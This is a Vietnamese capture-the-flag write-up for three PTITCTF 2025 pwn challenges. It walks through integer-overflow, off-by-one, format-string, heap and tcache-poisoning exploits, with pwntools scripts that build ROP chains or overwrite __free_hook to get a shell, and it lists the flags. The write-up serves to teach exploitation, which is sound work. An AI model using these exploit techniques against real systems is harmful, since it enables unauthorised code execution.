# Writeup Final PTITCTF 2025 - Pwn
- Link challenge: [Final PTITCTF 2025 - Pwn](https://github.com/nhh9905/CTF/tree/main/Final%20PTITCTF%202025)
# Fruit shop

## Pseudo code
Vì code khá dài nên mình sẽ điểm qua 1 vài hàm chính:
- `buy()`:

- `create_invoice()`:

- `change_gift_label()`:

## Leak libc from docker
- Chạy lần lượt các câu lệnh sau:
```linux=
sudo docker build . -t test
sudo docker run --rm -p13331:13331 --privileged -it test
nc localhost 13331
ps aux # Xem PID
cat /proc/<PID>/maps
sudo docker ps
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 .
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
```

## Exploit
- Checksec:

- Đọc qua hàm `create_invoice()` ta thấy được bug format string, do đó phải tận dụng triệt để lỗ hổng này.
- Muốn tận dụng được thì ta phải thay đổi loại hoa quả, nếu không thì sẽ không khai thác được.
- Ngoài ra còn 1 lỗ hổng nữa ở hàm `buy()`, khi mà hàm `check_quantity()` có thể cho phép chúng ta nhập số âm, từ đó có thể tràn xuống `*(_BYTE *)(i + 16)` -> tận dụng được hàm `check_gift_label()`.
- Mục đích sử dụng hàm `check_gift_label()` là để tận dụng thêm lỗ hổng off-by-one, từ đó có thể thay đổi được loại hoa quả của chunk hiện tại.
- Tóm tắt flow khai thác:
- Tràn số nguyên để tận dụng hàm `check_gift_label()`.
- Off-by-one để tận dụng hàm `create_invoice()`.
- Format string trong hàm `create_invoice()`.
### Leak libc & stack
```python=
payload = b'\0'*0x40
payload += b'%10$p%15$p'
buy(1, -1, b'y', payload)
payload = b'\0'*0xa
change_label(1, payload)
show()
p.recvuntil(b'65531|')
leak = p.recvuntil(b'\n', drop=True).split(b'0x')
stack_leak = int(leak[1], 16)
libc_leak = int(leak[2], 16)
log.info("Stack leak: " + hex(stack_leak))
libc.address = libc_leak - 0x29d90
log.info("Libc base: " + hex(libc.address))
pop_rdi = 0x000000000002a3e5 + libc.address
ret = pop_rdi + 1
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh'))
```

### Get shell
- Làm tương tự như leak libc nhưng ý tưởng của ta sẽ như sau:
- Ta sẽ ghi đè stack lên `rbp + 0x48`, rồi sau đó tận dụng `%hn` để ghi đè stack chứa saved rip của hàm `main()` vào vùng stack có chứa con trỏ.
- Trước khi ghi đè stack:

- Sau khi ghi đè stack:

- Sau khi ghi đè thành công thì ta sẽ ghi đè đoạn mã khai thác vào địa chỉ stack ban nãy:

- Làm tương tự cho các gadget `bin_sh, ret, system`:
```python=
# pop_rdi
save_rip = stack_leak + 0x8
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 2
payload = b'\0'*0xa
change_label(2, payload)
show()
payload = b'\0'*0x40 + f'%{pop_rdi & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 3
payload = b'\0'*0xa
change_label(3, payload)
show()
# bin_sh
save_rip = stack_leak + 0x10
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 4
payload = b'\0'*0xa
change_label(4, payload)
show()
payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 5
payload = b'\0'*0xa
change_label(5, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 6
payload = b'\0'*0xa
change_label(6, payload)
show()
bin_sh = bin_sh >> 16
payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 7
payload = b'\0'*0xa
change_label(7, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 8
payload = b'\0'*0xa
change_label(8, payload)
show()
bin_sh = bin_sh >> 16
payload = b'\0'*0x40 + f'%{bin_sh & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 9
payload = b'\0'*0xa
change_label(9, payload)
show()
save_rip = stack_leak + 0x18
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 10
payload = b'\0'*0xa
change_label(10, payload)
show()
payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 11
payload = b'\0'*0xa
change_label(11, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 12
payload = b'\0'*0xa
change_label(12, payload)
show()
ret = ret >> 16
payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 13
payload = b'\0'*0xa
change_label(13, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 14
payload = b'\0'*0xa
change_label(14, payload)
show()
ret = ret >> 16
payload = b'\0'*0x40 + f'%{ret & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 15
payload = b'\0'*0xa
change_label(15, payload)
show()
save_rip = stack_leak + 0x20
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 16
payload = b'\0'*0xa
change_label(16, payload)
show()
payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 17
payload = b'\0'*0xa
change_label(17, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 18
payload = b'\0'*0xa
change_label(18, payload)
show()
system = system >> 16
payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 19
payload = b'\0'*0xa
change_label(19, payload)
show()
save_rip += 2
payload = b'\0'*0x40 + f'%{save_rip & 0xffff}c%19$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 20
payload = b'\0'*0xa
change_label(20, payload)
show()
system = system >> 16
payload = b'\0'*0x40 + f'%{system & 0xffff}c%49$hn'.encode()
payload = payload.ljust(0x50, b'\0')
payload += p64(save_rip)
buy(1, -1, b'y', payload) # 21
payload = b'\0'*0xa
change_label(21, payload)
show()
```
- Đoạn code khai thác hơi dài do trong lúc thi không đủ thời gian để tối ưu nên mong các bạn thông cảm.
- Ghi đè saved rip của hàm `main()` thành công:

- Bây giờ nhập option 5 để lấy shell thôi.
- Thành công lấy shell local:

- Remote server:

## Full script
[solve.py](https://github.com/nhh9905/CTF/blob/main/Final%20PTITCTF%202025/Fruit%20Shop/easy_pwn/player/bin/solve.py)
## Flag
`PTITCTF{tHiS_fRuItY_fLaVoR_iS_DeLiCiOuS_aNd_vErY_HeAlThY_3e1f4b2}`
# Command Line Interface - bounty

## Pseudo code
Vì code khá dài nên mình sẽ điểm qua 1 số hàm chính:
- `main()`:
```C=
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
banner(argc, argv, envp);
init_cmd();
while ( 1 )
{
menu();
if ( !fgets(s, 16, stdin) )
break;
switch ( atoi(s) )
{
case 1:
add_command();
break;
case 2:
get_command();
break;
case 3:
submit_command();
break;
case 4:
add_console();
break;
case 5:
chose_console();
break;
case 6:
exit(0);
default:
puts("not exist~");
break;
}
}
return 0;
}
```
- `add_command()`: Các option từ 1->3 là thêm lệnh bằng cách malloc các chunk mới lưu các con trỏ heap, riêng option 4 là sửa lệnh.
```C=
unsigned __int64 add_command()
{
signed int choice; // [rsp+8h] [rbp-438h]
int size; // [rsp+Ch] [rbp-434h]
int v3; // [rsp+10h] [rbp-430h]
unsigned int idx; // [rsp+14h] [rbp-42Ch]
unsigned int v5; // [rsp+18h] [rbp-428h]
int v6; // [rsp+1Ch] [rbp-424h]
char s[16]; // [rsp+20h] [rbp-420h] BYREF
char data[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v9; // [rsp+438h] [rbp-8h]
v9 = __readfsqword(0x28u);
while ( 1 )
{
menu_add();
if ( !fgets(s, 16, stdin) )
break;
choice = atoi(s);
if ( choice == 5 )
break;
if ( choice <= 0 || choice > 3 )
{
if ( choice == 4 )
{
puts("idx edit (start 0): ");
if ( !fgets(s, 16, stdin) )
return v9 - __readfsqword(0x28u);
idx = atoi(s);
printf("command edit: ");
memset(data, 0, 0x400u);
if ( !fgets(data, 1024, stdin) )
return v9 - __readfsqword(0x28u);
v5 = strlen(data);
v6 = edit_command_internal(idx, data, v5);
printf("result %u\n", v6);
}
else
{
puts("not exist~");
}
}
else
{
printf("Command(createfile a.txt, deletefile b.txt, readfile c.txt) : ");
memset(data, 0, 0x400u);
if ( !fgets(data, 1024, stdin) )
return v9 - __readfsqword(0x28u);
size = strlen(data);
v3 = command_internal(choice, data, size);
printf("result %u\n", v3);
}
}
return v9 - __readfsqword(0x28u);
}
```
- `get_command()`: in ra lệnh mong muốn.
```C=
unsigned __int64 get_command()
{
unsigned int idx; // [rsp+4h] [rbp-2Ch]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("enter idx command (start = 0): ");
if ( fgets(s, 16, stdin) )
{
idx = atoi(s);
if ( *(*cmd + 28LL) > 0 && idx < *(*cmd + 28LL) / 8 )
write(1, (*(8 * idx + 4LL + *(*cmd + 32LL)) + *(*(cmd + 8) + 32LL)), (*(8 * idx + *(*cmd + 32LL)) << 8));
else
puts("not exist cmd");
}
return v3 - __readfsqword(0x28u);
}
```
- `add_console()`: đưa thêm lệnh vào `listcmd[]`.
```C=
int add_console()
{
int idx; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
__int64 *v3; // [rsp+8h] [rbp-8h]
idx = -1;
for ( i = 0; i <= 15; ++i )
{
if ( !listcmd[i] )
{
idx = i;
break;
}
}
if ( idx < 0 )
return puts("fail add");
v3 = malloc(0x10u);
v3[1] = malloc(0x28u);
constructor_vec(v3[1]);
*v3 = malloc(0x28u);
constructor_vec(*v3);
listcmd[idx] = v3;
return puts("success");
}
```
- `chose_console()`: đưa lệnh mình mong muốn trong `listcmd[]` vào `cmd` làm lệnh chính.
```C=
unsigned __int64 chose_console()
{
unsigned int idx; // [rsp+Ch] [rbp-24h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx console (start 0) : ");
if ( fgets(s, 16, stdin) )
{
idx = atoi(s);
if ( idx < 0x10 && listcmd[idx] )
{
cmd = listcmd[idx];
puts("success");
}
else
{
puts("fail");
}
}
return v3 - __readfsqword(0x28u);
}
```
## Leak libc from docker
- Chạy lần lượt các câu lệnh sau:
```linux=
sudo docker build . -t test
sudo docker run --rm -p13335:13335 --privileged -it test
nc localhost 13335
ps aux # Xem PID
cat /proc/<PID>/maps
sudo docker ps
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 .
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
```

## Exploit
- Checksec:

- Đọc kĩ pseudo code và ở cột `Function name` thì mình thấy có hàm `win()`, đây sẽ là mục tiêu mà chúng ta nhắm tới, tuy nhiên PIE đã được bật nên ta phải leak được exe_base.

### Leak exe
- Ta sẽ tận dụng hàm `get_command()` để leak exe_base.
- Trong hàm `add_command()` -> `command_internal()` -> `grow_vec()` ở gadget `call rdx` thứ 2, nếu như ta tạo các lệnh theo cách thông thường rồi in ra lệnh đó thì sẽ không thể leak được vì trong hàm `grow_vec()` malloc 1 chunk theo cấp số nhân, ta gọi hàm `get_command()` để in ra lệnh thì nó sẽ lấy chính size của chunk đó để in ra.
- Theo dõi flow hàm `grow_vec()`:
- malloc chunk:

- free chunk:

- Do đó ý tưởng sẽ là tạo ra nhiều lệnh rồi gọi hàm `grow_vec()` malloc chunk, sau đó sẽ free các chunk liên tiếp tạo thành unsorted bin, từ đó ta có thể malloc các chunk nhỏ theo unsorted nên việc leak sẽ trở nên dễ dàng hơn.
- Free chunk lần thứ 3 và các lần tới sẽ tạo ra unsorted:


- Đưa các con trỏ heap vào `listcmd[]` bằng hàm `add_console()`:

- Sử dụng hàm `chose_console()` và `add_command()` để malloc các chunk cùng 1 kích thước cố định từ unsorted, tránh việc malloc các chunk có kích thước theo cấp số nhân:
- malloc lần 1:

- malloc lần 2:

- malloc lần 3:

...
- Chọn lệnh 0 làm lệnh chính để leak exe_base bằng hàm `chose_console()`:





- Ta leak được địa chỉ hàm `destructor_vec()` và tính được exe_base 1 cách dễ dàng.
```python=
p.sendlineafter(b'\n', str(1))
for i in range(11):
add_command()
add_command(str(1))
add_command()
p.sendlineafter(b'\n', str(5)) # exit
for i in range(9):
add_console()
for i in range(9):
chose_console(i + 1)
p.sendlineafter(b'\n', str(1))
add_command(str(2))
p.sendlineafter(b'\n', str(5)) # exit
for i in range(4):
add_console()
chose_console(0)
get_command(12)
p.recv(0x10)
exe_leak = u64(p.recv(6) + b'\0'*2)
exe.address = exe_leak - 0x13f5
log.info("Exe base: " + hex(exe.address))
win = exe.sym.win
log.info("Win: " + hex(win))
```
- Thành công trong việc tính địa chỉ hàm `win()`:

### Get shell
- Dùng pwndbg xem mã assembly hàm `add_one()` ta thấy có gadget `call rdx`:

- Do đó mục tiêu của ta là ghi đè địa chỉ hàm `win()` vào địa chỉ heap có chứa hàm `grow_vec()` để thay vì gọi hàm đó thì ta gọi hàm `win()` lấy shell.
- Để thực hiện được điều đó thì ta sửa lệnh sau đó đưa vào `listcmd[]` là xong.


- Đưa lệnh vào `listcmd[]` và chọn lệnh đó làm lệnh chính bằng cách đưa vào `cmd`.

- Thực hiện bước cuối:

```python=
p.sendlineafter(b'\n', str(1))
p.sendlineafter(b'\n', str(4))
p.sendlineafter(b'(start 0): \n', str(12))
payload = b'1'*0x20 + p64(win)
p.sendline(payload)
p.sendlineafter(b'\n', str(5)) # exit
chose_console(12)
p.sendlineafter(b'\n', str(1))
p.sendlineafter(b'\n', str(1))
p.sendline()
p.sendline(b'cat flag.txt')
```
- Thành công lấy shell local:

- Remote server:

## Full script
[solve.py](https://github.com/nhh9905/CTF/blob/main/Final%20PTITCTF%202025/Command%20Line%20Interactive/medium_pwn/player/bin/solve.py)
## Flag
`PTITCTF{aN_iNtErEsTiNg_tRiP_AcRoSs_rEt_2_W1n_ExPlOiTaTiOn_4c3d2b1}`
# SetJmp, LongJmp
## Script
- Exploit in 9/12/2025
```python=
#!/usr/bin/env python3
from pwn import *
# ENV
PORT = 13339
HOST = "localhost"
exe = context.binary = ELF('./pwnable_3_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-2.31.so', checksec=False)
def GDB():
if not args.r:
gdb.attach(p, gdbscript='''
source /home/nhh/pwndbg/gdbinit.py
brva 0x00000000000014AF
# add
brva 0x00000000000015E1
brva 0x000000000000161E
# change_pass
brva 0x00000000000016D3
# free
brva 0x0000000000001510
brva 0x00000000000016B2
# show
brva 0x0000000000001737
c
set follow-fork-mode parent
''')
if len(sys.argv) > 1 and sys.argv[1] == 'r':
p = remote(HOST, PORT)
else:
p = exe.process()
def add(username, password = b'abcd'):
p.sendlineafter(b'> ', str(2))
p.sendafter(b'> ', username)
p.sendafter(b'> ', password)
def free(username):
p.sendlineafter(b'> ', str(3))
p.sendafter(b'> ', username)
def change_pass(username, password = b'abcd'):
p.sendlineafter(b'> ', str(4))
p.sendafter(b'> ', username)
p.sendafter(b'> ', password)
def show():
p.sendlineafter(b'> ', str(5))
# VARIABLE
# PAYLOAD
for i in range(25):
add(f'nhh{i + 1}'.encode())
change_pass(b'root', b'a'*8)
show()
p.recvuntil(b'a'*8)
heap_leak = u64(p.recv(6) + b'\0'*2)
heap_base = (heap_leak >> 12) << 12
log.info("Heap base: " + hex(heap_base))
for i in range(3):
free(f'nhh{i + 1}'.encode())
p.sendlineafter(b'> ', str(0))
add(b'nhh26\0')
add(b'nhh27\0')
free(b'nhh26')
free(b'nhh27')
change_pass(p64(heap_base + 0x570))
free(p64(heap_base + 0x570))
add(p64(heap_base + 0x5c0))
add(b'nhh28\0')
add(b'nhh29', p64(0x421))
p.sendlineafter(b'> ', str(0))
for i in range(7):
add(f'nhh{i + 28}'.encode())
for i in range(3):
free(f'nhh{i + 28}'.encode())
p.sendlineafter(b'> ', str(0))
add(b'nhh35\0')
add(b'nhh36\0')
free(b'nhh35')
free(b'nhh36')
change_pass(p64(heap_base + 0xd90))
free(p64(heap_base + 0xd90))
add(p64(heap_base + 0x5d0))
add(b'nhh37\0')
add(b'nhh38\0')
free(b'nhh38')
add(b'a', b'a')
show()
p.recv(8)
libc_leak = u64(p.recv(6) + b'\0'*2)
libc.address = libc_leak - 0x1ecf61
log.info("Libc base: " + hex(libc.address))
free_hook = libc.sym.__free_hook
system = libc.sym.system
for i in range(3):
add(f'nhh{i + 39}'.encode())
for i in range(3):
free(f'nhh{i + 39}'.encode())
add(b'nhh42\0')
add(b'nhh43\0')
free(b'nhh42')
free(b'nhh43')
change_pass(p64(heap_base + 0x690))
free(p64(heap_base + 0x690))
add(p64(free_hook - 8))
add(b'/bin/sh')
add(p64(0), p64(system))
free(b'/bin/sh')
p.interactive()
```